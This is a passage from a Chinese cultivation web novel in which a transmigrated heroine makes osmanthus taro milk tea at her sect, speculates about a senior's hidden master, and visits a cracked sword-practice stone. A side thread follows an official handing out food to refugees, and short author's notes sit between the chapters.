闻越一脸木然:“李厨带着我缩地成寸下来的。” 坏了。 关云铮自己御剑时心里都没谱,这下还得带个闻越,更没谱了。 闻越和关云铮面面相觑,楚悯也犯难地微微皱着眉头,唯有靠谱的大师兄神色未变,片刻之后感受到师弟师妹们的求助目光,侧过头说:“其实我乾坤袋里有一艘灵舟。” **** 好阔,师门真的好阔。关云铮坐在灵舟的舱内四处看,边看边在心里感慨。这就是富家公子修仙的做派吗,好阔,真的好阔。 据大师兄转述,师父明知他晕灵舟却还是把这东西施术变小后塞进了他的乾坤袋,义正言辞地说什么:“万一派的上用场呢。” 好阔,好不讲理,好有先见之明,不愧是一直令人捉摸不透的师父。关云铮继续感慨着。 闻越也没想到大师兄乾坤袋里竟然有灵舟,坐进船舱里仍在疑惑:“师父似乎没提过?也没说要给我。师姐有吗?”他倒并非认为这种东西大师兄有,自己就得有,只是单纯觉得灵舟此类算不得小的物件,他竟对其一无所知,此事实在不符合往日师父的作风。 当事人江却则实在是对灵舟敬谢不敏,此刻正御剑在灵舟外,听见闻越问话答道:“师父说,你更向往自己走小路溜下山的感觉。” 闻越:“……” 关云铮:“哈哈哈哈哈……师父说得对。” 闻越:“……”哪里对了。 关云铮宽慰似的拍了拍她三师兄的肩:“师父给大师兄灵舟定然是为了让他每日练习,从而克服眩晕,绝非别的原因。”她又向着船舱外扬声,“你说是吧大师兄?” 江却大概是给自己的声音添加了一层术法,哪怕风声呼啸也没能把他的回答吹散:“是。” ……虽然这个字吹不吹散也没什么区别就是了。 镜溪城和青镜山本就离得不远,他们又是在农庄中走了一会儿,确认不会引起周围人的注意才拿出灵舟的,因此没说几句话归墟便到了。 灵舟稳稳落地,待到三人从船舱中出来,便又变回了模型大小,被随后落地的江却重新收入乾坤殿中。 **** 关云铮一回师门就跑进饭堂找李演:“李厨李厨,菜地里有没有芋头啊?” 苍生道的菜地看着很规整,从瓜藤豆到苗,各色蔬菜齐全,实际上……全是李演当初随意播种的,眼前若是没有菜地,让他凭空回想自己种了些什么,他并不能完全答得上来。因此忽然被提问,他也愣了好一会儿才迟疑着回答:“大概是有的。” 惯会倒腾菜色的小弟子听了这话显然高兴起来:“能吃了吗?” 李演这下是真答不上来了,遂如实相告:“不清楚,去看看?” 关云铮美滋滋地跟在李演身后往菜地进发了。 楚悯比关云铮走得慢上几步,走到饭堂门口只听见李演说的最后一句话,看见两人一前一后走出来尚且有些没反应过来:“不是说去找任师姐吗?” 关云铮点点头,拉住她的手:“我刚才回来时想用桂花蜜做点吃食。” “桂花糖藕?”楚悯下意识问道。 “对哦,忘记从农户那里讨些莲藕了。”关云铮才想起来还能做桂花糖藕似的,随即又把这道菜抛诸脑后,接着自己方才的话茬说,“我是想到可以做奶茶。” 正好李演这次下山也取了些水牛乳上山,女帝送的茶饼也还有好些没煮完。 “桂花蜜奶茶?”楚悯明白了,“把桂花蜜当做糖?” 关云铮美滋滋的:“是也不是吧,我还打算做点芋泥。” 楚悯:“芋……什么?” 一向对关云铮的决定十足支持的她难得有几分迟疑:“泥?泥土的泥?” 关云铮这才意识到存在误解的可能,忙找补道:“只是形容芋头的状态,似泥状,不是真的泥。” 楚悯笑起来:“这也是别处学来的?” “别处”二字被她刻意强调,关云铮眨眨眼默认,又对自己方才没想起桂花糖藕一事解释道:“以前我不怎么爱吃藕。” “为何?”倒不是不爱吃藕有什么特别,只是这还是她初次得知,每样菜都吃的关云铮其实也挑食。 关云铮撇撇嘴:“藕虽口感脆爽但实在寡淡无味,从前每次吃到还都是清炒,好吃不了一点。” 尤其是木耳炒藕,真是各过各的,盐和味精都白放了。 李演本无意评价两个小姑娘的谈话内容,但实在是被关云铮“好吃不了一点”的表述逗笑了,忍不住转身问道:“好吃不了一点又是什么形容?” ……时常感慨自己嘴巴飞得太快,脑子来不及追。 她放弃挣扎:“就是很难吃。” 李演笑着摇摇头:“莲藕熬汤味道尚可。” 关云铮忍不住给他泼凉水:“熬排骨?李厨您还是少喝吧。” 李演一愣:“为何?” 关云铮掰手指给他列举喝汤的坏处:“排骨莲藕汤中的精华并非是汤,而是被认为是糟粕的排骨和莲藕;汤虽味道鲜美,但其中更多的是油与有害物质,多喝对身体百害而无一利;年纪增长时,先前说的这类风险还会增长,因此更要避免少喝肉汤。” 李演看向她的目光顿时变得无比痛心疾首:“同我分析这么多,以后我碰见桌上鲜美的汤羹是喝还是不喝?” 关云铮移开视线做无辜状:“反正弟子好赖话都说了,李厨您心中有谱就行。” 李演笑着叹了一口气:“你从前在家中当真未曾习过医书?” 关云铮只好顺着他的话往下编:“大略看过一些,只学了皮毛。” 也就还记得东莨菪碱、细胞玻璃样变、急性肾小球肾炎、肺栓塞这些杂七杂八的知识点了,大概也就知道是药理学病理学内科学外科学这些书里的内容,但要是问她详细的病因发病机制治疗手段以及临床表现,比如什么血管病变容易导致肺栓塞,那她一定会在四个选项之间……选择点兵点将。 怎么不算是一种皮毛呢? “那倒是挺契合这苍生道的。”李演听了她的含糊其辞也没挑毛病,反而来了这么一句。 关云铮此刻就像那个互联网热门表情包:谁?我吗?我契合苍生道?我?虽千万人吾往矣? “咱们师门真是苍生道吗,我入门一月也没觉得师门与其他门派有何不同。”关云铮忍不住问道。 章存舒不知道从哪冒出来的,关云铮话音刚落忽然现身接话道:“岂非正如这苍生?看似千人一面,实则各个不同。” 关云铮默默看他。 章存舒老神在在:“从山下带什么好东西回来了,刚才去饭堂什么也没看着。” 关云铮幽幽道:“弟子防的就是您这招。” **** 菜地里还真有芋头,关云铮对作物是否成熟实在是不太精通,只好让李演帮忙辨认,得到确认成熟的回答后才放心摘了一些。 还好带了篮子,不然这拔出芋头带出泥的,总不好捧回去,衣服都得多洗一身。 关云铮拍了拍手上沾的一点薄土,兴致勃勃道:“走!煮奶茶去!” 章存舒没个正形地跟在后面:“今日煮什么奶茶?还是昨日那样的珍珠奶茶?” 关云铮提着篮子摇摇头:“今日用桂花蜜和芋头做。” 还没等章存舒兴高采烈地呼喊桂花蜜的名号,关云铮就兜头一盆凉水泼过去:“师父的桂花蜜我会亲自加,不会多放哪怕半勺。” 一旁的楚悯:“噗。” 李演:“哈哈哈哈哈哈……” 章存舒没工夫和李演计较,方才脸上的兴高采烈急速转为垂头丧气:“真不能多放哪怕半勺吗?我好长时间没吃过桂花蜜了。” 关云铮看似心软,转过身看向身后的不靠谱师父时却说:“您是想今日多尝一勺从此再也没有,还是今后都有?” 章存舒直觉自己的小徒弟掩盖了一部分事实,追问道:“今后都有是多少?” 关云铮冷面无情地转回身:“不想要是吧,那就今日给你一勺以后没了。” 章存舒立马改口:“好好,听你安排,都听你的。” 关云铮提着篮子继续往前走了。 走在她身后的章存舒长叹一口气:“为师的牙真的没有那么疼。” “您还当自己是小孩子?牙坏了还能换一批?”关云铮侧过脸看他一眼。 章存舒只好认栽:“桂花蜜是要当做糖用?那芋头又要如何?” 关云铮懒得再解释了,干脆答道:“您待会儿就知道了。” 说话间很快便至饭堂,关云铮提着篮子去水池边洗芋头,楚悯正要蹲下一起帮忙,被关云铮用肩膀轻轻顶开:“芋头汁液沾到手上会痒。” 楚悯蹲在一侧笑道:“那你也会痒呀。” 关云铮也笑:“这才多少,犯不上让你也受影响,下次多了再抓你过来帮忙。” 楚悯也没执意要求,听了这话便配合着问:“那我能帮你做些什么?” 关云铮思索片刻:“帮我处理水牛乳吧,你先大火把它煮到微沸,也就是表面有很小的气泡,接着转小火,再煮一会儿,之后倒进之前用来煮奶茶的那口锅里即可。” 楚悯思索了一会儿:“明白,那我去啦。” 关云铮点点头,看着楚悯进门后埋头,一边忍受痒意一边恶狠狠撕扯芋头表皮。 **** 现代思维最大的问题之一就是物品总存在捆绑行为。 比如芋泥,字面意思就是芋头打成泥,实际在制作过程中却总会掺点紫薯进去,这样打出来的芋泥颜色才好看。久而久之,大家都默认了制作芋泥时需要把紫薯和芋头成比例蒸熟捣烂。 但由于紫薯只起到了造型上的一个作用,所以在成品中也没有姓名。正如明星美丽粉丝不会夸造型师,明星丑陋那一定是造型师的错。 好冤的紫薯。 不对,好冤的造型师。 关云铮漫无边际地想着,由于心不在焉,捣芋泥的力气越来越不均匀,直到一旁的李演看不下去接过杵臼:“我来吧,你留着手劲练剑去。” 啊,练剑。 她走回桌边坐下,神思不属地想:明日是不是大家都有自己的剑了?蒲飞鸢会教他们新的剑招吗?还是让他们继续练习之前教习的剑招,以此熟悉自己的佩剑? 说到蒲飞鸢,苏逢雨今日早晨跟她吵成那样,和好了吗?感觉她俩的思维好像不太在同一频道,如果两人都不愿意改变的话,怕是还会有第二第三次,甚至更多次的争吵。 要不要把她们也叫过来尝尝她的新款奶茶?毕竟甜食能令人心情愉快。 她正发呆,脑袋被人摸了摸,抬起头正对上连映视线:“师姐。” “忙什么呢?”连映在她身边坐下。 关云铮摇摇头:“本来在忙,现在活计都给小悯和李厨揽去了,我反倒成闲人了。” 连映笑起来:“能帮上忙岂不很好?”她看了眼正在认真盯着锅中水牛乳的楚悯,“我听阿却说你和小悯想给任师姐送柿子,怎么没去?打算煮了奶茶一同送过去?” 关云铮又从摇头变为点头:“师姐聪明,我就是这么打算的。”说完她又有些发愁,“不过任师姐应当已经辟谷了,会要吗?” 连映撑着下巴:“送礼之前总想着对方会不会收的话,这份礼怕是永远也送不出去吧?” 也对。 关云铮不再纠结,再度站起身走到楚悯身边:“应当差不多了,接下来就让我来吧。” 楚悯应一声,又把一旁准备茶饼拿过来,掰碎后放入茶壶:“待会儿我们怎么给任师姐送去?” 关云铮也有些犯难:“来去峰有寻常的路能上去吗?我上次是被坏脾气老头抓上去的。” 楚悯甚至还没去过来去峰,只能摇摇头。 不过就算是寻常山路,平时煮好的奶茶也都是装在碗里,要怎么才……惯性思维了,这不就有个现成的茶壶吗,盖上壶盖总不会洒了吧? 但如何上山依旧是个问题,她决定不去贷款焦虑,拍板道:“总之先把奶茶煮了再说,至于怎么上山,待会儿再操心吧。” **** 虽然芋头不是荔浦芋头,蒸熟的过程中也没有紫薯作陪,但最后的成品居然相当不错,跟21世纪的奶茶比也就是差了吸管,但这东西她实在是造不出来了,所以姑且给今日的成果打个八十分吧。 “先前的叫珍珠奶茶,今日的叫什么?”楚悯在旁边问道。 关云铮起名主打一个通俗易懂,除了成分不会加上任何影响内容物推测的词藻(没有内涵任何网红奶茶店的意思),当下便答道:“桂花芋泥奶茶。” 楚悯点点头:“那我们去给任师姐送去?” 关云铮长长地叹了一口气:“要是任师姐正好不在来去峰多好啊。” “我确乎不在。”一个无甚感情的声音在两人身后响起。 楚悯和关云铮一起被吓了一跳。 任嵩华正站在二人身后:“章先生说你们找我有事。” 关云铮端着茶壶呆滞地转过身:“其实只是想让你尝尝刚煮出来的奶茶。”把人从来去峰上喊下来真的没关系吗,真的不会耽误她日常的修炼吗? 楚悯则默默拿出准备好的柿子:“还有柿子。” 任嵩华难得愣了一下,正要说自己已辟谷多年不吃这些,步雁山就笑眯眯地在她身后说道:“两位师妹原本可打算克服万难上来去峰给你送这些呢,你当真不打算尝尝?” 掌门又是哪里冒出来的。而且上山也不至于就克服万难了,说得人怪惶恐的。 关云铮和楚悯一同陷入沉默。 “两个柿子?”步雁山看了一眼楚悯手中,“我能吃一个吗?” 楚悯看向任嵩华:“任师姐要吃脆的还是软的?” 任嵩华沉默片刻:“软的。” 楚悯又看向步雁山:“掌门呢?” 步雁山依旧笑眯眯:“这么巧,我要吃脆的。” 楚悯一手一个递出去。 步雁山相当配合,当下就咬了一口:“山下带回来的?” 关云铮感觉凝滞的氛围这才稍稍缓和,点点头答道:“是三师兄家中农庄长的,我们临走前给了好多。” 步雁山赞许地“嗯”了声:“好吃。师兄吃了吗?” 关云铮指了指不远处的桌子,章存舒正坐在桌边品鉴他那份奶茶:“他现在心里装不进柿子。” 步雁山笑起来:“有我的吗?我也去尝尝。” 关云铮把茶壶给他:“这壶本就打算给你和任师姐,没曾想师父把你们叫下来了。” 任嵩华手中拿着柿子,听见这话忽而开口道:“不打扰,我本也不在练剑。” 步雁山点点头,知道两位弟子对什么感兴趣,问道:“可想去看看被你们任师姐劈开的练剑台?” 任嵩华欲言又止,看上去很想纠正些什么,最终还是没说话,提着茶壶先去桌边坐下了。 “你们回来时可碰见了严骛?”步雁山忽然问道。 楚悯和关云铮一起摇了摇头。 “他走时正碰上弟子们陆续传送回来,看上去很想问些什么,但什么也没说便离开了。”步雁山若有所思道。 关云铮关注的重点不受控制地偏移了:“还是跟来时一样坐马车?” 步雁山失笑:“他怕是此生都不会再坐马车了。”—— 作者有话说:来也!今天上夹子所以更得比较晚(滑跪) 之后没有特殊情况还是隔日更 第68章 提起严骛这木鱼, 关云铮和楚悯就想起之前章存舒说的“敲打”一事,两人对视一眼,楚悯先问道:“严骛离开时可碰上了苏修士?” 步雁山似乎对此事并不知情, 闻言困惑道:“碰上会如何?” 关云铮很想同他掰扯清楚, 但忙活这么一会儿,此刻实在是站不动了:“不如先坐下再说?” 步雁山正好吃完了柿子, 了然:“煮奶茶累了吧?” 煮奶茶是有点累, 但芋泥是李演解决的,她顶多只能算干了一半,楚悯守着锅给水牛乳杀菌,她最多也就是收了个尾,所以其实此刻这么疲惫也不全是因为煮奶茶。 得知关家出事,下山发现死的并非是原身患病的父亲, 而是原身的妹妹,接着跟原身的母亲大吵一架, 之后又去查看季邕的记忆,又因将隐回溯看了原身的记忆, 紧接着又去了农庄…… 很难想象这些随便挑一件都能让过去的她心力交瘁的事, 现在全都发生在不到一天的时间里。如果是还没穿越时的她,进度条光是到和原身的母亲大吵一架那里就得过载,正常状态无法维持, 直接进入躁狂。那也就根本不存在耐心查看季邕记忆这回事了, 她可能会直接把他杀了。 说笑的,哪个医学生学疯的时候没开玩笑说过要杀人,都是过过嘴瘾罢了。在饭桌上聊局解聊得眉飞色舞,实际上连处死小白鼠都会吱哇乱叫。 毕竟对生命怀有敬畏是医学生始终应该保留的本心。 大概是方才钓鱼期间打盹梦见了室友,关云铮现在一想起学医的事就有点刹不住车, 但也不是怀念,她纯恨。 在外面奔波了大半天,此刻回到了安全区,骤然松了心里那根弦,她感觉自己疲惫得想就地躺下,早安晚安都不如她当下就入土为安。 关云铮捧着装了奶茶的瓷碗在桌边发了不到几息的呆,正打算强打精神跟步雁山解释方才的话题,回过神才发现楚悯已经在解释了,顿时松了一口气,又拿着勺子陷入第二次的走神中。 直到听见步雁山说:“我并不知晓二人今日是否碰上了,说来惭愧,近日我的佩剑出了些问题,这几日都在为此事焦头烂额。” 关云铮喝了口奶茶,被桂花蜜的味道治愈了一点,含混着问:“怎么会出问题?” 章存舒替步雁山解释道:“剑身磕了个口子。” 关云铮迟疑:“就……焦头烂额……了?” 倒不是质疑步雁山言辞浮夸,也不是她站着说话不腰疼,但磕了个口子应该不至于焦头烂额……吧? 步雁山叹了口气:“正是如此,磕了个我自认为相当无关紧要的口子,但它跟我闹了好几天的脾气。”?不是在给掌门冠莫须有的罪名,但这话听起来无端渣是怎么回事…… 楚悯也好奇起来了:“所以是磕了何处?” 步雁山又叹了口气:“剑柄。” 楚悯和关云铮:“?” 好像确实有点无关紧要了。但是退一万步说,剑都闹脾气了就给它修补一下剑柄呗。 看出两人实在困惑,步雁山又说:“这几日传送阵法一直在运作,暂时走不开,所以才没时间下山重新打造剑柄,明日我便下山看看。” 关云铮忍不住追问了一句:“难道掌门的剑也有剑灵?”莫名觉得摇羽的剑柄若是被她磕出一个口子,大概也会这样同自己闹脾气吧。虽说摇羽如今的剑身完全是章存舒为它选的,但保不齐日子一久这厮就会把此事抛诸脑后,那时若是当真把它磕坏了,估计她受的罪也不比掌门少,没准还会更加焦头烂额。 步雁山居然被她这句话问住了,沉思了好一会儿才说:“大概是没有的。” “大概?”这下换楚悯忍不住追问了。 步雁山看上去还想叹气,但最后还是忍住了:“没有剑灵,但脾气大得实在不像是没有剑灵的模样。” “哈哈哈哈哈哈……”章存舒不给面子地笑起来。 对剑灵的刻板印象加深了。 还好摇羽在乾坤袋里待着,不然会不会跳出来喊“谁来为剑灵发声”? 原本有些拿捏着说话尺度的氛围就这么被章存舒的笑声打破了,关云铮咽了口芋泥:“它一直这样?” 步雁山也喝了口奶茶:“桂花?这又是……?”他下意识发出疑问,随即又解释,“先前未曾发生过,是从剑柄磕出个口子后开始的。” 楚悯深知关云铮这半日都在强打精神,是以此时先开口回答道:“是农庄里带回来的桂花蜜,底下的东西是芋头蒸熟捣碎而成。”她也停顿片刻作为话题的转换,“那口子可影响使用?” 步雁山忧愁地喝了一口奶茶:“我平日使剑从不握剑柄。” 章存舒煞有介事:“不握剑柄还把剑柄磕了,这脾气该闹。” 心不在焉的关云铮:“?” 人说话? 任嵩华自打在桌边坐下便一直沉默地喝奶茶,几乎快要沦为几人交谈的背景板——虽然这种实力的背景板并不多见,此时忽然开口道:“应当是因为近日掌门心绪浮动。” 心绪浮动?因为这次教习弟子都下山了担心? 但看掌门的神情……方才他说到弟子们下山时分明未曾如此忧愁,说明并非是因为担心弟子。毕竟他和师父预先给传送法阵的目的地设置了一定的限制,一般情况下都能保证弟子们的安全,就算遇到危险,弟子们也应当会按照先前叮嘱的那样,毁掉传送符回到归墟。 思及此,关云铮在喝奶茶的间隙抬头看了步雁山一眼,发现他在任嵩华说出那句话后,本就忧愁的脸上显得更忧愁了,甚至……有些伤心? 那定然不是因为弟子了。毕竟方才他还说弟子们陆续都回来了,没出什么意外。 她疑心自己方才看错,正打算悄悄再抬头看一眼,却忽然发现坐在步雁山身侧,方才还在哈哈大笑的章存舒神色也黯淡了下去。 虽然不甚明显,但因为他方才还在笑,那点嘴角弧度变化的存在感就变得尤为强烈起来。 她下意识皱眉,能让掌门和师父都产生类似情绪变化的…… 是戚寻月? 难道不熄鼎出了什么问题? 关云铮悄悄感受了一番灵气的流动,没觉出和往日有什么区别。虽然也有可能是不熄鼎发生了什么她感受不到的变动,但她私心并不打算往这个方面想,于是继续拿着勺子,垂着眼思索:近日归墟发生了什么事能影响到步雁山的心绪的? 意识到这样思考可能又会触发将隐的回溯机制,她懒得挣扎了,只在心里埋怨了一句:“已经很累了,别再抽我的精力转了,要被抽干了。” 神奇的是她刚埋怨完,脑袋里居然当真没有再响起轮盘转动的声音,而她在此之前分明听见了“咔哒”一声,那是轮盘开始转动的信号。 这么听话? 关云铮皱了皱脸,在这个当下暂且把将隐的事丢到一边,专心思考起来。 除了今日大半时间不在归墟之外,这几日她都在师门待着,虽并非每时每刻都能看到掌门,但据她目前对掌门的了解,能让他心绪浮动的应该不是什么小事。 不是小事…… 关云铮搅动着芋泥的手一顿:难道是昨日掌门说的,任师姐把练剑台劈了的事? 虽不知此事是否足以影响掌门心绪,但就说这事大不大吧。 她假设步雁山就是受此事影响,顺着思路继续往下想:任嵩华劈开练剑台一事意味着什么? ——她的剑术和境界更进一步。 练剑台的材料是试心玉,少有人能用外力破坏,任嵩华却做到了,证明了什么? ——证明她达到了多数人都未曾达到的境界。 剑术高超,境界飞跃为何会让步雁山心绪浮动?放在任何人身上都只会觉得是机缘,是进步,是值得庆贺的事,那么忧愁不已的步雁山又在想些什么? 瓷勺“叮”一声触碰到碗底,关云铮陡然意识到一件事:她从来不知道任嵩华是谁的徒弟。 哪怕任嵩华和步雁山的相处模式乍看十分像师徒,但她从未听任嵩华喊过步雁山师父。 但她偏偏又常常喊他掌门。 说明她并非不讲求规矩之人,而步雁山确乎不是她的师父。 那会是谁? 归墟不收无情道,任嵩华却是唯一的无情道弟子,为何? 当时章存舒说这话的时候以为她会接着问下去,她却觉得这个话题相当危险,会让人难过,所以没问。 会不会任嵩华根本不是“归墟收的无情道”,而是……戚寻月收的呢? **** 柳卿知在傍晚时分终于结束了今日粥棚食物的发放,由于一直站在同一处未曾挪动,双腿僵硬得厉害,想迈腿时险些绊自己一个趔趄。 好在她早有准备,在即将趔趄的当下便一把撑住了面前的棚柱子,乍见之下只会以为她是撑着柱子在休息。 安抚流民一贯的方式是搭设粥棚施粥,但不论是流民还是为流民施粥的人都清楚,这点分量的食物在流民的肚子里,要不了半个时辰就会消耗殆尽。 食物带来的热量也会随之被卷走。 现今是秋日,又是南方地界,自是要没那么难熬些,可眨眼便将入冬,哪怕是南方也会充溢着裹满湿气的寒意,如何能熬得过呢? 是以今日清晨柳卿知骤然到访便安排了这场施粥——更准确地说,应当是施窝窝头。 糙米做的干粮更容易饱腹,也更不容易感到饥饿。 且糙米口感较差,比之精米要便宜许多,拿着同样多的银两,蒸出来发放给流民时能有更多人得到食物。 柳卿知虽并未过着苦日子长大,但也不是高门大户出身,有时母亲带着她路过粥棚,也会感慨两句“米汤固然温热管饱,但却维持不了许久”这样的话。 彼时她尚且年幼,对这话理解得不够透彻。如今她成了皇帝的股肱之臣,终于明白:带着虚伪假象的东西总是在初次品味之时便让人尝到甜头,而唯有粗陋不堪却格外有用的东西,会在人们走投无路之时显现出其独有的可用性来。 为官者,要敢于做窝窝头,而非米汤。 “柳大人。”人声打断了她的思绪。 柳卿知回过神来,松开撑在棚柱上的手:“何事?” 来人是当地县衙的主簿,在县衙估计混得不怎么样,才会被打发来同柳卿知一起给流民派发食物。 “您饿了吗,要不要先去吃些东西。”主簿说这话时神色不大自然,看着很有几分胆怯。 柳卿知清楚大概是自己的冷脸让她不敢接近,但看了一天流民的生存情状实在是笑不出来,努力调度了一会儿脸上的表情,最后还是放弃了,叹道:“走吧,找个地方吃些东西。” 主簿点点头,本想走在她前头带路,犹豫片刻还是略微落后了半步,跟在柳卿知身后说:“柳大人明日有何打算?” 柳卿知不答反问:“你明日又待如何?” 主簿似乎是没料到柳卿知会反问,愣了好一会儿才说:“明日……下官自然听凭柳大人差遣!” 柳卿知现下是真的皱眉了:“哪里学来的这套说辞。”听着不像什么姑娘家,像混迹官场多年却无甚建树的老官油子。 主簿脸都红了:“这套说辞……不对吗?” 柳卿知抬手拨开一簇伸到人面前的花枝:“官场说辞不分错对,不过是表明立场的车轱辘话,要想未来得到赏识,最好趁早忘了,不要再说。” 主簿垂头丧气的:“我能得到谁的赏识……” 此处只是寻常南方小城,女子能当官已是难得,少不得要在官场中被男人磋磨,让她做些没人愿意做的差事。打发来施粥完全是常态,是以今日来的流民她几乎识得半数,至于她的顶头上司知县,怕是连扮作流民来捣乱的人都辨认不出。 可认得半数流民又如何,此处只是一个不会被来往行人过多停驻的县城,不是朝安。 她蔫头耷脑,险些撞上停下脚步的柳卿知,慌乱间正要抬头辩解,便看见走在前头那位大人回头看向她,问道:“你想去朝安吗?” **** 桂花芋泥奶茶相当饱肚,众人喝完后大都没有食欲,章存舒拍板同李演说了一声晚饭延后,众人便各自去寻消食的法子。 关云铮和楚悯走在最后,脑袋凑在一起说悄悄话。 方才的猜测由关云铮告知,楚悯听后若有所思地沉默片刻,也觉得此种推测相当可信,任嵩华极有可能是戚寻月收的徒弟。 只是此种猜测总会让关云铮想起先前章存舒说的,无情道有很长一段时间被称作“器道”之事…… 戚寻月究竟又是否是无情道修士呢? 那样悲悯的眼睛…… 任嵩华的声音再度响起:“要去看练剑台?” 关云铮脸上的表情云淡风轻甚至还面带微笑,实际心里的小人已经暴走着走了好几个来回:归墟人的特点之一就是神出鬼没是吧!最近怎么老在蛐蛐别人的时候被正主抓个正着啊! 楚悯不愧是见过大场面的天问弟子,接话时一点不带打磕巴:“来去峰可有寻常山路?”完全看不出方才还在探讨面前这位的师承。 任嵩华接话也很顺畅,就是说出来的话依旧让人胆战心惊:“不必,我带你们二人上山即可。”?哪种带?应该不会是像凌风起那样抓着衣领带吧? 三人说着已经走出了饭堂,来到了视野开阔的练武场。 “裁冰。”任嵩华说道。 关云铮这才注意到任嵩华此行身上并未带佩剑,看来这两个字应该就是她佩剑的名字。 剪裁的裁?结冰的冰? 还没等她在脑海中翻一翻字典,一阵呼啸声传来,任嵩华的佩剑急速朝她飞驰而来,在她面前稳稳地悬停。 这么酷炫的出场吗? 关云铮和楚悯齐齐肃然起敬。 不知道任嵩华又念了一句什么剑诀,只见那通体仿佛流转着光华的长剑整体又变大了一些,任嵩华回头看向二人:“走吧。” 怎么走? 三个人一起御剑? 关云铮瞳孔地震了:“我们都上去?” 任嵩华颔首:“我会保证你们的安全。” 好吧再没有听过比这句更靠谱的话了,关云铮和楚悯不再纠结,一前一后踏上裁冰。 御剑去来去峰的好处是不用旱地拔葱式地爬山,比如现在,她们就是缓慢升到某个高度后平行飞过去。不过就算是极速爬升也比上次被凌风起抓着领子来山顶要好受得多,至少还能顺畅呼吸,也不用担心衣领的材质不牢固中途会掉下去。 因为任嵩华说到做到,站在关云铮和楚悯二人之间,一直关注着她们的安全。 任嵩华甚至还主动教了二人如何与他人共乘一剑,以及如何让剑变得更大一些,承载人的剑身也就更富余一些。 关云铮一边听一边点头,决定待会儿回去就开始练习,这样以后都能跟小悯一起御剑了,也不用担心人多出行不方便。 等到裁冰载着三人在来去峰落地,关云铮正打算和楚悯一同跳下剑,任嵩华却伸出手阻拦道:“先活动双腿。” 楚悯和关云铮乖乖照做,在悬停的裁冰上小幅度地活动了一番双腿。 活动的过程中两人便明白了任嵩华让她们这样做的道理。 腿软了哈哈。 要是方才直接从剑上跳下去大概能一起给任师姐拜个早年。 两人活动完毕确认可以平稳落地后终于从裁冰上跳了下来。 “练剑台在不熄鼎那边,你应当还记得?”任嵩华看向关云铮。 关云铮点点头:“任师姐不一同过去吗?” 任嵩华“嗯”了一声:“该打坐调息了。” 关云铮遗憾地收回目光:“多谢任师姐,那我们就先过去了。”—— 作者有话说:感谢大家的收藏和订阅![撒花] v后应该会努力多更,一章争取五千字,但应该还是隔日更,每天更新压力太大了,我容易写不出来,隔日更比较有余裕,也比较方便应对突发状况。 评论摩多摩多[撒花] 第69章 去往不熄鼎的路是段山路, 但并不陡峭,上次来时关云铮还能边走边和步雁山说话,这次嘴巴也没闲着, 一边走一边对着楚悯发愁:“待会儿我们怎么下山呢?” 楚悯也发愁, 但两个人总不能一起发愁,于是宽慰道:“总有办法的, 你看, 去不熄鼎有条山路,没准下山也有山路,只是我们先前未曾发现。” 关云铮闻言回头看了眼。 来去峰的山形截面比较像是梯形上加了一个三角形,不幸的是底角更小的是她们目前所在的三角形,两条腰的坡度更缓,而底下那个梯形…… 关云铮心有余悸地收回视线, 装作没看到底下那如同万丈深渊一般的山谷。 好一个不到九十度就是坡啊。 “关于那位戚前辈的记载太少了,据说仙盟也没有相关的记载。”楚悯忽然说道。 关云铮回过神:“仙盟还负责记载这个?这算什么, 仙门名册?” 楚悯点点头:“仙门名册中,似乎未曾提及章先生师门中除他和掌门以外的人。” “凌师伯也没有?”关云铮没注意, 险些被一人高的杂草刮了脸, 紧急避了一下,还是觉得被蹭到的脸颊上火辣辣的。 楚悯拉过她衣摆示意她侧身:“我看看。” 夕阳下那被刮到的地方急速地红肿起来,楚悯皱眉:“倒没破皮, 但有些肿, 待会儿下山去问问章先生吧。” 关云铮摆摆手:“没事,没多不舒服,下山了再说。继续说方才的。” 楚悯又看了一会儿才松开手:“应该有提及身份,但姓名及其他,未有记载。” “那严骛岂非也不知道凌师伯的存在?”关云铮忽然想到这么一茬。 “大概只知章先生有位师兄?”楚悯不太确定地答道。 “你说严骛来归墟那日可曾碰见了凌师伯?”关云铮忽然问道, 她忍不住缺德,“凌师伯那张嘴,要是知道他是仙盟人,怕是饶不了他。” “倒是有可能,那日我们回来时没见到严骛,但他应当会在归墟四处看看才对,没准在凌师伯那儿碰了钉子。”山路很快到了尽头,不熄鼎也近在眼前。 等到见到了不熄鼎,关云铮才确定下来:步雁山的心绪浮动确实不是因为不熄鼎。 因为她就那样安然地站着,一如往日。 先前来看不熄鼎的那次只顾着看任嵩华“扶乩”了,活动范围也局限于不熄鼎周围的这一片,没往其他地方看过。今日登上山头,才发现练剑台就在不远处,若是在那练剑,只要一抬头就能看见不熄鼎下方燃着的火焰。 如果戚寻月当真是任嵩华的师父,任嵩华也清楚不熄鼎燃着的就是戚寻月的神魂,那她练剑时又会想些什么呢? 昨日听步雁山说起试心玉,关云铮思维惯性,以为应当是浅色的石头,等到走到练剑台前,才发现那是一块巨大的黑色岩石,只是不同于玉石带有光泽的表面,这块试心玉仅剩边缘还有一些光泽,表面上斑斑驳驳粗糙不堪,到处都是剑留下的痕迹。 其中最扎眼的就是那道几乎贯穿了试心玉两端的裂痕。 其他的痕迹大多都是溅打出的,短促且浅,就像洗完手后随手甩出的水道一般;而这道痕迹长得令人心惊,甚至隐隐有把试心玉劈裂的架势。 昨日谈起这个话题时,关云铮以为自己已经对任嵩华的实力有了清楚的认知,可等她站在这块黑色的岩石面前,她才意识到自己昨日建立的认知还不够。 数不清的痕迹,有长有短,唯有这一道,无比长无比深。 这得是……多么惊天动地的一剑啊。 **** 任嵩华像是有什么心灵感应,又或者归墟的人多少都会一点卜卦掐算,关云铮和楚悯在练剑台边聊了一会儿后,她便结束了打坐调息来到了山头,带二位师妹又回到了练武场。 关云铮和楚悯自觉打扰她修炼,道谢时的神色都带着歉意:“多谢任师姐。” 任嵩华站在裁冰上没下来,不知是否因为周围暮色四合,脸上的神色居然看着有几分柔和:“柿子很好吃,奶茶也很好喝。” 说完她便御剑回去了。 关云铮:“虽然觉得这么说无情道师姐不太好,但任师姐是不是不好意思了?” 楚悯:“虽然这么说无情道师姐不太好……但任师姐好像真的不好意思了。” “说什么呢?”章存舒好奇地从二人身后探出头。 关云铮无奈:“师父,你怎么老跟个背后灵似的?”应该说归墟诸位都挺背后灵的,还好现在她胆子也大了,听见声音就知道来人是谁,习惯后也就不惊慌了。 凑合过呗,还能离开师门还是咋的。 被腹诽的章存舒老神在在:“李厨饭菜都准备好了,你们还没下来,我本打算上去找人。” 关云铮直接拆穿道:“您真会上来去峰吗?” 